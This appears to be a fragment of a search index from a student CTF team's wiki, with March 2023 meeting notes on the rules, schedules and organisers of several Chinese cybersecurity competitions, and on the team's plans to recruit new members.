\u534a\u51b3\u8d5b\u548c\u603b\u51b3\u8d5b\u79ef\u5206\u6a21\u5f0f\u5982\u4e0b\uff1a
\uff08\u53c2\u8003\u539f\u6587\uff09
\u56db\u3001\u5176\u4ed6\u89c4\u5219
\u6bd4\u8d5b\u5f53\u5929\u6240\u6709\u53c2\u8d5b\u9009\u624b\u9700\u6301\u8eab\u4efd\u8bc1\u539f\u4ef6\u5230\u8fbe\u6bd4\u8d5b\u73b0\u573a\uff0c\u8fdf\u5230\u8d85\u534a\u5c0f\u65f6\u7981\u6b62\u5165\u573a\u3002
\u88c1\u5224\u6709\u6743\u6839\u636e\u73b0\u573a\u60c5\u51b5\u5bf9\u8fdd\u89c4\u3001\u8fdd\u7eaa\u6218\u961f\u8fdb\u884c\u51cf\u5206\u5904\u7406\u3002
\u6bd4\u8d5b\u8fc7\u7a0b\u4e2d\u8bf7\u968f\u65f6\u5173\u6ce8\u7b54\u9898\u9875\u9762\u7684\u516c\u544a\u680f\uff0c\u6240\u6709\u6267\u884c\u89c4\u5219\u53ca\u5224\u7f5a\u4ee5\u6700\u65b0\u516c\u544a\u4e3a\u51c6\u3002
\u6bd4\u8d5b\u8fc7\u7a0b\u4e2d\u5bf9\u5e73\u53f0\u6216\u9898\u76ee\u6709\u95ee\u9898\uff0c\u53ef\u4ee5\u5728\u7b54\u9898\u9875\u9762\u7aef\u70b9\u51fb\u201c\u547c\u53eb\u88c1\u5224\u201d\u6309\u94ae\u53cd\u9988\u95ee\u9898\uff0c\u8bf7\u63cf\u8ff0\u6e05\u695a\u9047\u5230\u7684\u95ee\u9898\uff0c\u5426\u5219\u53ef\u80fd\u5f71\u54cd\u5e94\u7b54\u6548\u7387\u3002\u7981\u6b62\u968f\u610f\u5728\u573a\u5185\u8d70\u52a8\u3002
\u4e3a\u7ef4\u62a4\u73b0\u573a\u79e9\u5e8f\uff0c\u907f\u514d\u8de8\u6218\u961f\u4ea4\u6d41\uff0c\u53bb\u6d17\u624b\u95f4\u8bf7\u4e3e\u624b\u793a\u610f\uff0c\u7ecf\u8fc7\u5de5\u4f5c\u4eba\u5458\u786e\u8ba4\u540e\u53ef\u4ee5\u51ed\u7533\u8bf7\u4eba\u53c2\u8d5b\u8bc1\u4ece\u76f8\u5e94\u51fa\u53e3\u6709\u79e9\u5e8f\u53bb\u6d17\u624b\u95f4\u3002
\u7b2c\u4e09\u5c4a\u201c\u7f51\u9f0e\u676f\u201d\u7f51\u7edc\u5b89\u5168\u5927\u8d5b\u7ec4\u59d4\u4f1a
2023\u5e743\u6708
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-23/#0x2-new-member-recruitment","title":"0x2. New Member Recruitment","text":"The recruitment pattern for new members this semester is
three-week online learning of basic content, with records, kept through Tencent meetings and video recording and used for future basic content review teaching.
a two-day assessment session in the format of Jeopardy, which will be conducted using the COMPASS tournament platform.
The number of new members recruited this semester is about 5.
The basics and tutorials are posted on our wiki page currently. More contents are under design.
\u672c\u8d5b\u9053\u4ee5\u5207\u5b9e\u89e3\u6c7a\u6570\u636e\u5b89\u5168\u4ea7\u4e1a\u53d1\u5c55\u4e2d\u7684\u5b9e\u9645\u95ee\u9898\u4e3a\u76ee\u6807\uff0e\u6709\u529b\u63a8\u52a8\u6570\u636e\u5b89\u5168\u4ea7\u4e1a\u53d1\u5c55\uff0c\u53d1\u6325\u6570\u636e\u5b89\u5168\u6280\u672f\u521b\u65b0\u3001\u6210\u679c\u8f6c\u5316\u3001\u4eba\u624d\u57f9\u517b\u7b49\u5178\u578b\u793a\u8303\u5e26\u52a8\u4f5c\u7528\u3001\u63a8\u5e7f\u4f18\u79c0\u7ecf\u9a8c\u548c\u6210\u679c\uff0c\u52a9\u529b\u6211\u56fd\u6570\u636e\u5b89\u5168\u4ea7\u4e1a\u53d1\u5c55\u3002
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-23/#_3","title":"\u6bd4\u8d5b\u94fe\u63a5","text":"\u5b98\u65b9\u6bd4\u8d5b\u94fe\u63a5\u5730\u5740\uff1ahttps://www.dcic-china.com/competitions/10078
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-23/#_4","title":"\u6bd4\u8d5b\u65f6\u95f4","text":"\u7ebf\u4e0a\u8d5b\u65f6\u95f4\uff1a2023-03-27 00:00:00 - 2023-04-07 00:00:00
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-23/#_5","title":"\u8d5b\u4e8b\u673a\u6784","text":"\u672c\u6b21\u6bd4\u8d5b\u4e3b\u529e\u65b9\uff1a\u798f\u5efa\u7701\u901a\u4fe1\u7ba1\u7406\u5c40
\u6307\u5bfc\u5355\u4f4d\uff1a\u6570\u5b57\u4e2d\u56fd\u5efa\u8bbe\u5cf0\u4f1a\u7ec4\u59d4\u4f1a
\u627f\u529e\u5355\u4f4d\uff1a\u4e2d\u56fd\u7535\u5b50\u4fe1\u606f\u4ea7\u4e1a\u53d1\u5c55\u7814\u7a76\u9662\u3001\u4e2d\u56fd\u8f6f\u4ef6\u8bc4\u6d4b\u4e2d\u5fc3\u3001\u5de5\u4e1a\u548c\u4fe1\u606f\u5316\u90e8\u6559\u80b2\u4e0e\u8003\u8bd5\u4e2d\u5fc3
\u534f\u529e\u5355\u4f4d\uff1a\u4e2d\u56fd\u8ba1\u7b97\u673a\u884c\u4e1a\u534f\u4f1a\u6570\u636e\u5b89\u5168\u4e13\u4e1a\u59d4\u5458\u4f1a\u3001\u5317\u4eac\u6c38\u4fe1\u81f3\u8bda\u79d1\u6280\u80a1\u4efd\u6709\u9650\u516c\u53f8
\u652f\u6301\u5355\u4f4d\uff1a\u8682\u8681\u96c6\u56e2\u3001\u4e2d\u5b5a\u4fe1\u606f\u80a1\u4efd\u6709\u9650\u516c\u53f8\u3001360\u6570\u5b57\u5b89\u5168\u79d1\u6280\u96c6\u56e2\u6709\u9650\u516c\u53f8\u3001\u5317\u4eac\u957f\u4ead\u79d1\u6280\u6709\u9650\u516c\u53f8\u3001\u817e\u8baf\u4e91\u8ba1\u7b97\uff08\u5317\u4eac\uff09\u6709\u9650\u8d23\u4efb\u516c\u53f8\u3001\u8fdc\u6c5f\u76db\u90a6\uff08\u5317\u4eac\uff09\u7f51\u7edc\u5b89\u5168\u79d1\u6280\u80a1\u4efd\u6709\u9650\u516c\u53f8\u3001\u5317\u4eac\u4f17\u5b89\u5929\u4e0b\u79d1\u6280\u6709\u9650\u516c\u53f8\u3001\u5317\u4eac\u65f6\u4ee3\u65b0\u5a01\u4fe1\u606f\u6280\u672f\u6709\u9650\u516c\u53f8
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-23/#_6","title":"\u6bd4\u8d5b\u5f62\u5f0f","text":"\u521b\u65b0\u8d5b\u91c7\u7528\u516c\u5f00\u5f0f\u7ade\u8d5b\uff0c\u56f4\u7ed5\u6570\u636e\u5b89\u5168\u6cbb\u7406\uff0c\u53c2\u8d5b\u5355\u4f4d\u63d0\u4ea4\u5b9e\u8df5\u6848\u4f8b\u3002\u8d5b\u4e8b\u5206\u9884\u8d5b\u548c\u51b3\u8d5b\u3002\u9884\u8d5b\u9636\u6bb5\u4e13\u5bb6\u7ec4\u8bc4\u59d4\u5c06\u91c7\u53d6\u8fdc\u7a0b\u767b\u5f55\u6216\u672c\u5730\u5b89\u88c5\u7684\u65b9\u5f0f\u8fd0\u884c\u53c2\u8d5b\u4f5c\u54c1\uff0c\u4f9d\u636e\u8d5b\u4e8b\u4e13\u5bb6\u5236\u5b9a\u7684\u6bd4\u8d5b\u8bc4\u5ba1\u6807\u51c6\u8fdb\u884c\u6253\u5206\uff0c\u6839\u636e\u5f97\u5206\u6392\u540d\u786e\u5b9a\u51b3\u8d5b\u540d\u5355\u3002\u51b3\u8d5b\u91c7\u7528\u7b54\u8fa9\u7684\u5f62\u5f0f\uff0c\u7531\u8d5b\u4e8b\u4e13\u5bb6\u7ec4\u5bf9\u9884\u8d5b\u5165\u56f4\u65b9\u6848\u8fdb\u884c\u8bc4\u5ba1\u3002
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-23/#_7","title":"\u6570\u5b57\u4e2d\u56fd\u00b7\u6570\u636e\u5b89\u5168\u4ea7\u4e1a\u4eba\u624d\u80fd\u529b\u6311\u6218\u8d5b\uff08\u521d\u8d5b\uff09","text":"\u672c\u8d5b\u9053\u4ee5\u5207\u5b9e\u89e3\u6c7a\u6570\u636e\u5b89\u5168\u4ea7\u4e1a\u53d1\u5c55\u4e2d\u7684\u5b9e\u9645\u95ee\u9898\u4e3a\u76ee\u6807\uff0e\u6709\u529b\u63a8\u52a8\u6570\u636e\u5b89\u5168\u4ea7\u4e1a\u53d1\u5c55\uff0c\u53d1\u6325\u6570\u636e\u5b89\u5168\u6280\u672f\u521b\u65b0\u3001\u6210\u679c\u8f6c\u5316\u3001\u4eba\u624d\u57f9\u517b\u7b49\u5178\u578b\u793a\u8303\u5e26\u52a8\u4f5c\u7528\u3001\u63a8\u5e7f\u4f18\u79c0\u7ecf\u9a8c\u548c\u6210\u679c\uff0c\u52a9\u529b\u6211\u56fd\u6570\u636e\u5b89\u5168\u4ea7\u4e1a\u53d1\u5c55\u3002
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-23/#_8","title":"\u6bd4\u8d5b\u94fe\u63a5","text":"\u5b98\u65b9\u6bd4\u8d5b\u94fe\u63a5\u5730\u5740\uff1a\u6682\u65e0
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-23/#_9","title":"\u6bd4\u8d5b\u65f6\u95f4","text":"\u7ebf\u4e0a\u8d5b\u62a5\u540d\uff1a2023-03-06 00:00:00 - 2023-03-22 00:00:00
\u7ebf\u4e0a\u8d5b\u65f6\u95f4\uff1a2023-04-01 00:00:00 - 2023-04-01 00:00:00
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-23/#_10","title":"\u8d5b\u4e8b\u673a\u6784","text":"\u672c\u6b21\u6bd4\u8d5b\u4e3b\u529e\u65b9\uff1a\u798f\u5efa\u7701\u901a\u4fe1\u7ba1\u7406\u5c40
\u6307\u5bfc\u5355\u4f4d\uff1a\u6570\u5b57\u4e2d\u56fd\u5efa\u8bbe\u5cf0\u4f1a\u7ec4\u59d4\u4f1a
\u627f\u529e\u5355\u4f4d\uff1a\u4e2d\u56fd\u7535\u5b50\u4fe1\u606f\u4ea7\u4e1a\u53d1\u5c55\u7814\u7a76\u9662\u3001\u4e2d\u56fd\u8f6f\u4ef6\u8bc4\u6d4b\u4e2d\u5fc3\u3001\u5de5\u4e1a\u548c\u4fe1\u606f\u5316\u90e8\u6559\u80b2\u4e0e\u8003\u8bd5\u4e2d\u5fc3
\u534f\u529e\u5355\u4f4d\uff1a\u4e2d\u56fd\u8ba1\u7b97\u673a\u884c\u4e1a\u534f\u4f1a\u6570\u636e\u5b89\u5168\u4e13\u4e1a\u59d4\u5458\u4f1a\u3001\u5317\u4eac\u6c38\u4fe1\u81f3\u8bda\u79d1\u6280\u80a1\u4efd\u6709\u9650\u516c\u53f8
\u652f\u6301\u5355\u4f4d\uff1a\u8682\u8681\u96c6\u56e2\u3001\u4e2d\u5b5a\u4fe1\u606f\u80a1\u4efd\u6709\u9650\u516c\u53f8\u3001360\u6570\u5b57\u5b89\u5168\u79d1\u6280\u96c6\u56e2\u6709\u9650\u516c\u53f8\u3001\u5317\u4eac\u957f\u4ead\u79d1\u6280\u6709\u9650\u516c\u53f8\u3001\u817e\u8baf\u4e91\u8ba1\u7b97\uff08\u5317\u4eac\uff09\u6709\u9650\u8d23\u4efb\u516c\u53f8\u3001\u8fdc\u6c5f\u76db\u90a6\uff08\u5317\u4eac\uff09\u7f51\u7edc\u5b89\u5168\u79d1\u6280\u80a1\u4efd\u6709\u9650\u516c\u53f8\u3001\u5317\u4eac\u4f17\u5b89\u5929\u4e0b\u79d1\u6280\u6709\u9650\u516c\u53f8\u3001\u5317\u4eac\u65f6\u4ee3\u65b0\u5a01\u4fe1\u606f\u6280\u672f\u6709\u9650\u516c\u53f8
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-23/#_11","title":"\u6bd4\u8d5b\u5f62\u5f0f","text":"\u7531\u7406\u8bba\u77e5\u8bc6\u548c\u6280\u80fd\u64cd\u4f5c\u4e24\u90e8\u5206\u7ec4\u6210\u3002\u7406\u8bba\u90e8\u5206\u6db5\u76d6\u653f\u7b56\u6cd5\u89c4\u548c\u6570\u636e\u5b89\u5168\u57fa\u7840\u77e5\u8bc6\uff1b\u6280\u80fd\u64cd\u4f5c\u90e8\u5206\u6db5\u76d6\u6570\u636e\u8bc6\u522b\u3001\u6743\u9650\u63a7\u5236\u3001\u8106\u5f31\u6027\u5206\u6790\u7b49\u65b9\u5411\uff0c\u7efc\u5408\u8003\u5bdf\u53c2\u8d5b\u8005\u4e0d\u540c\u7ef4\u5ea6\u7684\u6570\u636e\u5b89\u5168\u80fd\u529b\u6c34\u5e73\u3002
\u3010\u5b89\u6052\u4fe1\u606f\u3011\u4eb2\u7231\u7684\u53c2\u8d5b\u9009\u624b\uff0c\u60a8\u597d\uff01\u60a8\u62a5\u540d\u7684\u201c2023\u6570\u5b57\u4e2d\u56fd\u521b\u65b0\u5927\u8d5b-\u6570\u5b57\u7f51\u7edc\u5b89\u5168\u4eba\u624d\u6311\u6218\u8d5b\u201d\u5c06\u4e8e2023\u5e743\u670824\u65e5\u8fdb\u884c\uff0c\u8bf7\u60a8\u6309\u65f6\u53c2\u52a0\u3002 \u6bd4\u8d5b\u5730\u5740\uff1ahttps://szzg2023.dasctf.com \u6bd4\u8d5b\u8d26\u53f7\uff1aaq#\u62a5\u540d\u7684\u624b\u673a\u53f7\u540e\u4e03\u4f4d \u6bd4\u8d5b\u5bc6\u7801\uff1aDas#\u624b\u673a\u53f7\u540e\u56db\u4f4d\uff0c\u5982\uff1aDas#1234 \u6bd4\u8d5b\u65f6\u95f4\uff1a\u4e0b\u534813:00-17:00 \u6ce8\u610f\u4e8b\u9879\uff1a\u63a8\u8350\u4f7f\u7528Chrome\u6216\u706b\u72d0\u6d4f\u89c8\u5668\uff0c\u5e76\u8bbe\u7f6e\u5141\u8bb8\u5f39\u51fa\u7a97\u53e3\u3002
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-23/#wrap-up","title":"Wrap-up","text":"Last week we officially started the recruitment program, and the program is going very well, we have more than 20 new students who are learning the basic content tutorials, and when the basic content teaching is completed, April 8 and 9 will be tested. We are also looking forward to the participation of the varsity students in this week's training, which will be an introduction to the Ether and Solidity languages (blockchain).
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-30/","title":"CTF Week Meeting 2023-03-30","text":"I'm back from illness currently. Next month we are going to play Wangding Cup Semi-Final / Final in Hangzhou. We are also looking forward to the participation of the varsity students in this week's training, which will be an introduction to the Ether and Solidity languages (blockchain).
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-30/#work-progress-tracking","title":"Work progress tracking","text":"http://117.78.33.202/
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-30/#_1","title":"\u7b2c\u5341\u4e94\u5c4a\u5168\u56fd\u5927\u5b66\u751f\u4fe1\u606f\u5b89\u5168\u7ade\u8d5b\u521b\u65b0\u5b9e\u8df5\u80fd\u529b\u8d5b","text":"\u8d5b\u4e8b\u4ecb\u7ecd\uff1a
\u4e3a\u79ef\u6781\u54cd\u5e94\u56fd\u5bb6\u7f51\u7edc\u7a7a\u95f4\u5b89\u5168\u4eba\u624d\u6218\u7565\uff0c\u52a0\u5feb\u653b\u9632\u517c\u5907\u521b\u65b0\u4eba\u624d\u57f9\u517b\u6b65\u4f10\uff0c\u63d0\u5347\u5b66\u751f\u653b\u9632\u517c\u5907\u7684\u7f51\u7edc\u521b\u65b0\u5b9e\u8df5\u80fd\u529b\uff0c\u57f9\u517b\u5b66\u751f\u7684\u521b\u65b0\u610f\u8bc6\u4e0e\u56e2\u961f\u5408\u4f5c\u7cbe\u795e\uff0c\u666e\u53ca\u4fe1\u606f\u5b89\u5168\u77e5\u8bc6\uff0c\u589e\u5f3a\u5b66\u751f\u4fe1\u606f\u5b89\u5168\u610f\u8bc6\uff0c\u63d0\u9ad8\u5b66\u751f\u7684\u7f51\u7edc\u7a7a\u95f4\u5b89\u5168\u521b\u65b0\u80fd\u529b\u4e0e\u5b9e\u8df5\u6280\u80fd\uff0c\u63a8\u52a8\u7f51\u7edc\u7a7a\u95f4\u5b89\u5168\u751f\u6001\u4f53\u7cfb\u7684\u4eba\u624d\u57f9\u517b\u548c\u4ea7\u5b66\u7814\u7528\u3002\u7531\u5357\u5f00\u5927\u5b66\u627f\u529e\u7684\u7b2c\u5341\u4e94\u5c4a\u5168\u56fd\u5927\u5b66\u751f\u4fe1\u606f\u5b89\u5168\u7ade\u8d5b\u2014\u521b\u65b0\u5b9e\u8df5\u80fd\u529b\u8d5b\uff08\u4ee5\u4e0b\u7b80\u79f0\u201c\u5927\u8d5b\"\uff09\u5c06\u4e8e2022\u5e744\u6708\u81f32022\u5e747\u6708\u4e3e\u884c\uff0c\u9762\u5411\u5168\u56fd\u9ad8\u6821\u5728\u6821\u751f\u5f00\u653e\u3002
\u4e00\u3001\u5927\u8d5b\u7ec4\u7ec7\u5f62\u5f0f
\u672c\u5c4a\u5927\u8d5b\u6309\u7167\u5728\u7ebf\u6ce8\u518c\u62a5\u540d\u7ec4\u961f\u3001\u7ebf\u4e0a\u521d\u8d5b\u9009\u62d4\u3001\u5206\u533a\u8d5b\u548c\u5168\u56fd\u603b\u51b3\u8d5b\u56db\u4e2a\u9636\u6bb5\u7ec4\u7ec7\u3002\u5168\u56fd\u8bbe\u7f6e\u516b\u5927\u8d5b\u533a\uff0c\u5404\u533a\u57df\u5185\u9ad8\u6821\u53c2\u8d5b\u56e2\u961f\u901a\u8fc7\u5206\u533a\u8d5b\u664b\u7ea7\u5168\u56fd\u603b\u51b3\u8d5b\u3002
\u66f4\u591a\u5927\u8d5b\u5185\u5bb9\u548c\u5177\u4f53\u5b89\u6392\u8be6\u89c1\u300a\u7b2c\u5341\u4e94\u5c4a\u5168\u56fd\u5927\u5b66\u751f\u4fe1\u606f\u5b89\u5168\u7ade\u8d5b\u2014\u521b\u65b0\u5b9e\u8df5\u80fd\u529b\u8d5b\u7ade\u8d5b\u89c4\u7a0b\u300b\uff0c\u5f00\u8d5b\u540e\u5c06\u901a\u8fc7\u5927\u8d5b\u5b98\u7f51\uff08http://www.ciscn.cn/\uff09\u516c\u5e03\u3002
\u4e8c\u3001\u53c2\u8d5b\u5bf9\u8c61\u53ca\u8981\u6c42
\u53c2\u8d5b\u5bf9\u8c61\u5e94\u4e3a\u5168\u56fd\u9ad8\u7b49\u5b66\u6821\uff08\u672c\u79d1\u7c7b\u548c\u9ad8\u804c\u9ad8\u4e13\u7c7b\u9662\u6821\uff09\u5177\u6709\u6b63\u89c4\u5b66\u7c4d\u7684\u5168\u65e5\u5236\u5728\u6821\u5927\u5b66\u751f\uff08\u5305\u62ec\u9ad8\u804c\u9ad8\u4e13\u3001\u672c\u79d1\u751f\u3001\u7814\u7a76\u751f\uff09\uff0c\u5177\u4f53\u8981\u6c42\u5982\u4e0b\uff1a
1\uff09\u6bcf\u4e2a\u53c2\u8d5b\u961f\u4f0d\u4eba\u6570\u6700\u591a\u4e0d\u8d85\u8fc74\u4eba\uff0c\u5141\u8bb8\u6821\u5185\u8de8\u5e74\u7ea7\u3001\u8de8\u4e13\u4e1a\u7ec4\u961f\uff0c\u5404\u9ad8\u6821\u53c2\u8d5b\u961f\u6570\u4e0d\u9650\uff0c\u4e0d\u53ef\u8de8\u6821\u7ec4\u961f\uff1b
2\uff09\u6bcf\u4eba\u53ea\u80fd\u53c2\u52a0\u4e00\u652f\u961f\u4f0d\uff08\u5373\u4e2a\u4eba\u53c2\u8d5b\u540e\u4e0d\u53ef\u518d\u4e0e\u4ed6\u4eba\u7ec4\u961f\u53c2\u8d5b\uff0c\u6216\u4e2a\u4eba\u53c2\u52a0\u4e00\u4e2a\u961f\u4f0d\u540e\u4e0d\u53ef\u518d\u53c2\u52a0\u53e6\u4e00\u4e2a\u961f\u4f0d\uff09\uff0c\u5141\u8bb8\u6709\u4e00\u540d\u6307\u5bfc\u8001\u5e08\uff1b
3\uff09\u9ad8\u6821\u5206\u5e03\u5728\u4e0d\u540c\u57ce\u5e02\u7684\u6821\u533a\u89c6\u4e3a\u4e0d\u540c\u9ad8\u6821\uff0c\u5404\u6821\u533a\u53ef\u5206\u522b\u7ec4\u961f\u53c2\u8d5b\u5e76\u5165\u56f4\u5230\u6240\u5728\u5206\u533a\u7684\u5206\u533a\u51b3\u8d5b\uff0c\u4ee5\u53ca\u603b\u51b3\u8d5b\u9636\u6bb5\uff1b
4\uff09\u6307\u5bfc\u6559\u5e08\u5fc5\u987b\u662f\u53c2\u8d5b\u961f\u4f0d\u6240\u5728\u9ad8\u6821\u5728\u804c\u6559\u5e08\u3002\u6307\u5bfc\u6559\u5e08\u53ef\u4ee5\u6307\u5bfc\u5b66\u751f\u8fdb\u884c\u7ec4\u961f\u3001\u77e5\u8bc6\u6280\u80fd\u8bad\u7ec3\uff0c\u4f46\u73b0\u573a\u53c2\u8d5b\u5fc5\u987b\u7531\u53c2\u8d5b\u5b66\u751f\u72ec\u7acb\u5b8c\u6210\uff1b
6\uff09\u6307\u5bfc\u6559\u5e08\u8d1f\u8d23\u5168\u7a0b\u7ba1\u7406\u3001\u6307\u5bfc\u53c2\u8d5b\u7684\u5b66\u751f\u961f\u4f0d\uff0c\u53c2\u8d5b\u8fc7\u7a0b\u4e0d\u5f97\u8fdd\u53cd\u6bd4\u8d5b\u89c4\u5219\uff0c\u4e0d\u5bf9\u6bd4\u8d5b\u5e73\u53f0\u3001\u7cfb\u7edf\u548c\u7b2c\u4e09\u65b9\u670d\u52a1\u8fdb\u884c\u653b\u51fb\uff0c\u4e0d\u5f97\u4e0e\u56fd\u5bb6\u6cd5\u5f8b\u3001\u6cd5\u89c4\u3001\u516c\u5e8f\u826f\u4fd7\u76f8\u8fdd\u80cc\uff08\u5982\u961f\u540d\u7b49\uff09\uff1b\u7ec4\u59d4\u4f1a\u5c06\u8bc4\u9009\u4f18\u79c0\u6307\u5bfc\u6559\u5e08\uff08\u83b7\u5f97\u5168\u56fd\u4e00\u7b49\u5956\u53ca\u521b\u65b0\u5355\u9879\u5956\u56e2\u961f\u7684\u6307\u5bfc\u8001\u5e08\uff09\uff0c\u5e76\u4e88\u4ee5\u8868\u5f70\u3002
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-30/#_2","title":"\u7b2c\u5341\u4e94\u5c4a\u5168\u56fd\u5927\u5b66\u751f\u4fe1\u606f\u5b89\u5168\u7ade\u8d5b\u4fe1\u606f\u5b89\u5168\u4f5c\u54c1\u8d5b","text":"\u8d5b\u4e8b\u4ecb\u7ecd\uff1a
\u4e3a\u9009\u62d4\u3001\u63a8\u8350\u4f18\u79c0\u7f51\u7edc\u7a7a\u95f4\u5b89\u5168\u4e13\u4e1a\u4eba\u624d\uff0c\u57f9\u517b\u5b66\u751f\u7684\u521b\u65b0\u610f\u8bc6\u4e0e\u56e2\u961f\u5408\u4f5c\u7cbe\u795e\uff0c\u63d0\u9ad8\u5b66\u751f\u7684\u7f51\u7edc\u5b89\u5168\u6280\u672f\u6c34\u5e73\u3001\u521b\u65b0\u5b9e\u8df5\u4e0e\u7efc\u5408\u8bbe\u8ba1\u80fd\u529b\uff0c\u63a8\u52a8\u6211\u56fd\u9ad8\u6821\u7f51\u7edc\u7a7a\u95f4\u5b89\u5168\u4e13\u4e1a\u5efa\u8bbe\u4e0e\u6539\u9769\uff0c\u7531\u6e56\u5357\u5927\u5b66\u627f\u529e\u7684\u201c\u7b2c\u5341\u4e94\u5c4a\u5168\u56fd\u5927\u5b66\u751f\u4fe1\u606f\u5b89\u5168\u7ade\u8d5b\u2014\u4f5c\u54c1\u8d5b\u201d\uff08\u4ee5\u4e0b\u7b80\u79f0\u201c\u4fe1\u606f\u5b89\u5168\u4f5c\u54c1\u8d5b\u201d\uff09\uff0c\u5c06\u4e8e2022\u5e744\u6708\u81f32022\u5e748\u6708\u5728\u6e56\u5357\u957f\u6c99\u4e3e\u884c\u3002
\u4e00\u3001\u672c\u5c4a\u7ade\u8d5b\u6d3b\u52a8\u5185\u5bb9
1. \u4fe1\u606f\u5b89\u5168\u4f5c\u54c1\u8d5b
\u672c\u6b21\u4fe1\u606f\u5b89\u5168\u4f5c\u54c1\u8d5b\u91c7\u7528\u5f00\u653e\u5f0f\u81ea\u4e3b\u547d\u9898\uff0c\u81ea\u4e3b\u8bbe\u8ba1\uff0c\u53c2\u8d5b\u8005\u987b\u5728\u622a\u6b62\u65e5\u671f\u524d\u5b8c\u6210\u4f5c\u54c1\u5e76\u7f51\u4e0a\u63d0\u4ea4\u3002\u53c2\u8d5b\u4f5c\u54c1\u7684\u5185\u5bb9\u8981\u6c42\u7b26\u5408\u300a\u5168\u56fd\u5927\u5b66\u751f\u4fe1\u606f\u5b89\u5168\u7ade\u8d5b\u7ae0\u7a0b\u300b\u548c\u300a2022\u5e74\u5168\u56fd\u5927\u5b66\u751f\u4fe1\u606f\u5b89\u5168\u7ade\u8d5b\u2014\u4f5c\u54c1\u8d5b\u53c2\u8d5b\u6307\u5357\u300b\uff08\u5f00\u8d5b\u540e\u5c06\u901a\u8fc7\u5927\u8d5b\u5b98\u65b9\u7f51\u5740http://www.ciscn.cn/\u516c\u5e03\uff09\u4e2d\u7684\u76f8\u5173\u89c4\u5b9a\u3002
2. \u7f51\u7edc\u5b89\u5168\u4eba\u624d\u521b\u65b0\u521b\u4e1a\u53d1\u5c55\u8bba\u575b
\u5b89\u5168\u8bba\u575b\u5305\u542b\u591a\u4e2a\u4e3b\u9898\u677f\u5757\uff0c\u56f4\u7ed5\u5f53\u524d\u7f51\u5b89\u4ea7\u4e1a\u8d8b\u52bf\u4e0e\u6280\u672f\u70ed\u70b9\uff0c\u63a2\u8ba8\u7f51\u7edc\u5b89\u5168\u4eba\u624d\u57f9\u517b\u53ca\u5927\u5b66\u751f\u521b\u65b0\u521b\u4e1a\uff0c\u5f00\u5c55\u4e30\u5bcc\u591a\u5f69\u7684\u4e3b\u9898\u6f14\u8bb2\u4e0e\u5168\u65b9\u4f4d\u4e92\u52a8\u3002
\u4e8c\u3001\u53c2\u8d5b\u5bf9\u8c61
\u53c2\u8d5b\u5bf9\u8c61\u4e3a\u5168\u56fd\u5177\u6709\u6b63\u5f0f\u5b66\u7c4d\u7684\u5168\u65e5\u5236\u5728\u6821\u5927\u5b66\u751f\u3002\u5b66\u751f\u53ef\u81ea\u884c\u7ec4\u961f\u53c2\u52a0\uff0c\u6bcf\u652f\u53c2\u8d5b\u961f\u4e0d\u8d85\u8fc74\u540d\u5b66\u751f\uff08\u5305\u62ec1\u540d\u7ec4\u957f\uff09\u3002\u6bcf\u652f\u53c2\u8d5b\u961f\u9650\u6307\u5b9a1\u540d\u6307\u5bfc\u6559\u5e08\uff0c\u6bcf\u540d\u5b66\u751f\u9650\u53c2\u52a01\u652f\u53c2\u8d5b\u961f\u3002\u5404\u9ad8\u6821\u53c2\u8d5b\u961f\u6570\u4e0d\u9650\uff0c\u4e0d\u5141\u8bb8\u8de8\u6821\u7ec4\u961f\u3002
\u4fe1\u606f\u5b89\u5168\u4f5c\u54c1\u8d5b\u51b3\u8d5b\u671f\u95f4\u4e3e\u884c\u7684\u7f51\u7edc\u5b89\u5168\u4eba\u624d\u521b\u65b0\u521b\u4e1a\u53d1\u5c55\u8bba\u575b\u5c06\u9762\u5411\u5168\u56fd\u9ad8\u6821\u5e08\u751f\u3001\u4f01\u4e8b\u4e1a\u5355\u4f4d\u4e0e\u4e2a\u4eba\u3002
\u4e09\u3001\u53c2\u8d5b\u65b9\u5f0f
\u6839\u636e\u300a\u5168\u56fd\u5927\u5b66\u751f\u4fe1\u606f\u5b89\u5168\u7ade\u8d5b\u7ae0\u7a0b\u300b\u548c\u300a2022\u5e74\u5168\u56fd\u5927\u5b66\u751f\u4fe1\u606f\u5b89\u5168\u7ade\u8d5b\u2014\u4f5c\u54c1\u8d5b\u53c2\u8d5b\u6307\u5357\u300b\u8981\u6c42\uff0c\u5177\u4f53\u4e8b\u5b9c\u8be6\u89c1\u7ade\u8d5b\u7f51\u7ad9\u3002
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-30/#0x2-new-member-recruitment","title":"0x2. New Member Recruitment","text":"The recruitment pattern for new members this semester is
three-week online learning of basic content, with records, kept through Tencent meetings and video recording and used for future basic content review teaching.
a two-day assessment session in the format of Jeopardy, which will be conducted using the COMPASS tournament platform.
The number of new members recruited this semester is about 5.
The basics and tutorials are posted on our wiki page currently. More contents are under design.
\u672c\u8d5b\u9053\u4ee5\u5207\u5b9e\u89e3\u6c7a\u6570\u636e\u5b89\u5168\u4ea7\u4e1a\u53d1\u5c55\u4e2d\u7684\u5b9e\u9645\u95ee\u9898\u4e3a\u76ee\u6807\uff0e\u6709\u529b\u63a8\u52a8\u6570\u636e\u5b89\u5168\u4ea7\u4e1a\u53d1\u5c55\uff0c\u53d1\u6325\u6570\u636e\u5b89\u5168\u6280\u672f\u521b\u65b0\u3001\u6210\u679c\u8f6c\u5316\u3001\u4eba\u624d\u57f9\u517b\u7b49\u5178\u578b\u793a\u8303\u5e26\u52a8\u4f5c\u7528\u3001\u63a8\u5e7f\u4f18\u79c0\u7ecf\u9a8c\u548c\u6210\u679c\uff0c\u52a9\u529b\u6211\u56fd\u6570\u636e\u5b89\u5168\u4ea7\u4e1a\u53d1\u5c55\u3002
